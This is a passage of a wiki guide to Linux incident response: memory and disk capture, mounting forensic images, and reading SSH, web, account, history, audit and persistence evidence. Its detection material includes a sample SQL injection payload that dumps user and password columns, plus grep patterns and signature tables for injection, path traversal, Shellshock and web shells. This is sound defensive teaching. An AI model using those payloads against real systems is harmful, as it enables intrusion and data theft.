Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
